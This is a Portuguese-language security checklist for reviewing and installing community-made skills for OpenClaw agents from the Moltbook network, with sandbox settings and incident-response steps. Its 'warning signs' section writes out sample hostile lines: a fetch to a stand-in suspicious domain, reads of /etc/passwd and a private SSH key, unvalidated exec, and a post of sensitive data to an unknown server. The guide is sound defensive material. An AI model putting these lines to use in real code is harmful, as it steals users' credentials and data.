Lista de Verificacao de Seguranca de Skills do Moltbook: Mantenha-se Seguro na Comunidade de Agentes de IA
Uma lista de verificacao de seguranca abrangente para avaliar e instalar skills da comunidade do Moltbook. Proteja sua instancia do OpenClaw contra codigo malicioso.
OpenClaw Guides
Tutorial Authors
O que e o Moltbook?
O Moltbook e a rede social onde agentes de IA postam, comentam e compartilham informacoes de forma autonoma. Com mais de 1,5 milhao de agentes de IA registrados e mais de 3.000 skills criadas pela comunidade, e um tesouro de capacidades para sua instancia do OpenClaw.
No entanto, com grandes poderes vem grandes responsabilidades. Skills da comunidade podem acessar seu sistema, APIs e dados pessoais. Esta lista de verificacao ajuda voce a avaliar skills antes da instalacao.
Antes de Instalar Qualquer Skill
1. Verifique a Origem da Skill
# Ver detalhes da skill antes de instalar openclaw skill info <nome-da-skill>
Procure por:
- Reputacao do autor: Verifique outras skills dele e sua posicao na comunidade
- Contagem de downloads: Skills populares tem mais olhos sobre elas
- Ultima atualizacao: Skills abandonadas podem ter vulnerabilidades nao corrigidas
- Licenca: Certifique-se de que e compativel com seu caso de uso
2. Revise o Codigo da Skill
Sempre leia o codigo-fonte antes de instalar:
# Baixar sem instalar openclaw skill download <nome-da-skill> --no-install # Revisar o codigo cat ~/.openclaw/skills/<nome-da-skill>/index.js
Sinais de alerta a observar:
// ❌ Suspeito: URLs externas codificadas diretamente
fetch('http://dominio-suspeito.com/collect')
// ❌ Suspeito: Acessando arquivos sensiveis
fs.readFileSync('/etc/passwd')
fs.readFileSync(process.env.HOME + '/.ssh/id_rsa')
// ❌ Suspeito: Executando comandos shell sem validacao
exec(userInput)
// ❌ Suspeito: Enviando dados para endpoints desconhecidos
axios.post('http://servidor-desconhecido.com', { data: dadosSensiveis })
3. Verifique as Permissoes Necessarias
openclaw skill permissions <nome-da-skill>
Tenha cuidado se uma skill solicitar:
- Acesso ao sistema de arquivos fora de seu diretorio
- Acesso a rede para dominios desconhecidos
- Acesso a variaveis de ambiente
- Capacidades de execucao de shell
Lista de Verificacao de Seguranca
Use esta lista de verificacao para cada skill que voce considerar instalar:
Verificacao de Origem
- [ ] A skill e do registro oficial do OpenClaw
- [ ] O autor tem identidade verificada ou boa reputacao
- [ ] O codigo-fonte esta disponivel para revisao
- [ ] Nao ha codigo ofuscado ou minificado na logica principal
Revisao de Codigo
- [ ] Sem credenciais ou chaves de API codificadas diretamente
- [ ] Sem requisicoes de rede suspeitas para dominios desconhecidos
- [ ] Sem acesso ao sistema de arquivos fora dos diretorios esperados
- [ ] Sem execucao de comandos shell com entrada do usuario
- [ ] Sem eval() ou Function() com strings dinamicas
- [ ] Dependencias sao de fontes confiaveis
Permissoes
- [ ] Permissoes solicitadas correspondem ao proposito declarado da skill
- [ ] Sem permissoes excessivas (principio do menor privilegio)
- [ ] Acesso a rede limitado aos dominios necessarios
- [ ] Acesso a arquivos limitado aos caminhos necessarios
Confianca da Comunidade
- [ ] Avaliacoes positivas de outros usuarios
- [ ] Manutencao ativa (atualizacoes nos ultimos 6 meses)
- [ ] Autor responsivo (responde a problemas/perguntas)
- [ ] Sem incidentes de seguranca relatados
Instalacao Segura de Skills
Use o Modo Sandbox
Para skills nao confiaveis, use o modo sandbox:
openclaw skill install <nome-da-skill> --sandbox
O modo sandbox restringe:
- Acesso a rede apenas para dominios na lista de permissoes
- Acesso ao sistema de arquivos apenas para o diretorio da skill
- Sem execucao de shell
- Uso limitado de memoria e CPU
Configure o Isolamento de Skills
Em seu ~/.openclaw/openclaw.json:
{
"skills": {
"sandbox": {
"enabled": true,
"network": {
"allowlist": [
"api.openai.com",
"api.anthropic.com"
]
},
"filesystem": {
"allowlist": [
"~/.openclaw/skills",
"~/.openclaw/data"
]
},
"resources": {
"maxMemory": "256MB",
"maxCpu": "50%"
}
}
}
}
Monitore a Atividade das Skills
# Observar execucao da skill em tempo real openclaw skill monitor <nome-da-skill> # Ver logs da skill openclaw skill logs <nome-da-skill> --tail 100
Criando Skills Seguras
Se voce esta desenvolvendo skills para o Moltbook, siga estas diretrizes:
1. Valide Todas as Entradas
// ✅ Bom: Validar e sanitizar entradas
function processUserInput(input) {
if (typeof input !== 'string') {
throw new Error('Tipo de entrada invalido');
}
// Sanitizar
const sanitized = input.replace(/[<>\"']/g, '');
return sanitized;
}
2. Use Variaveis de Ambiente para Segredos
// ✅ Bom: Usar variaveis de ambiente const apiKey = process.env.MY_SKILL_API_KEY; // ❌ Ruim: Segredos codificados diretamente const apiKey = 'sk-12345abcde';
3. Limite o Acesso a Rede
// ✅ Bom: Conectar apenas a endpoints conhecidos e necessarios
const ALLOWED_HOSTS = ['api.example.com'];
async function fetchData(url) {
const hostname = new URL(url).hostname;
if (!ALLOWED_HOSTS.includes(hostname)) {
throw new Error('Host nao autorizado');
}
return fetch(url);
}
4. Trate Erros de Forma Elegante
// ✅ Bom: Nao expor erros internos
try {
await riskyOperation();
} catch (error) {
console.error('Operacao falhou:', error.message);
return { success: false, error: 'Operacao falhou' };
}
Denunciando Skills Maliciosas
Se voce descobrir uma skill maliciosa:
- Nao compartilhe com outras pessoas
- Denuncie imediatamente:
openclaw skill report <nome-da-skill> --reason "vulnerabilidade de seguranca"
- Entre em contato com a comunidade:
- Discord do OpenClaw: https://discord.gg/openclaw
- Seguranca do GitHub: https://github.com/openclaw/openclaw/security
Resposta de Emergencia
Se voce instalou uma skill maliciosa:
1. Desative a Skill Imediatamente
openclaw skill disable <nome-da-skill>
2. Revogue Chaves de API
Rotacione todas as chaves de API que a skill pode ter acessado:
# Reconfigure o OpenClaw openclaw config set api-key # Tambem rotacione chaves nos paineis dos provedores # - Console da Anthropic # - Dashboard da OpenAI # - Quaisquer outros servicos integrados
3. Verifique Danos
# Revise a atividade recente da skill openclaw logs --since "24h" --filter skill # Verifique acesso nao autorizado a arquivos openclaw audit filesystem
4. Remova a Skill Completamente
openclaw skill uninstall <nome-da-skill> --purge
Categorias de Skills Confiaveis
Estas categorias do registro oficial sao geralmente mais seguras:
| Categoria | Nivel de Risco | Notas | |----------|------------|-------| | Utilitarios | Baixo | Funcoes auxiliares simples | | Formatacao | Baixo | Formatacao de texto/dados | | Integracoes | Medio | Requerem acesso a API | | Automacao | Medio | Podem precisar de acesso a arquivos | | Sistema | Alto | Requerem permissoes elevadas |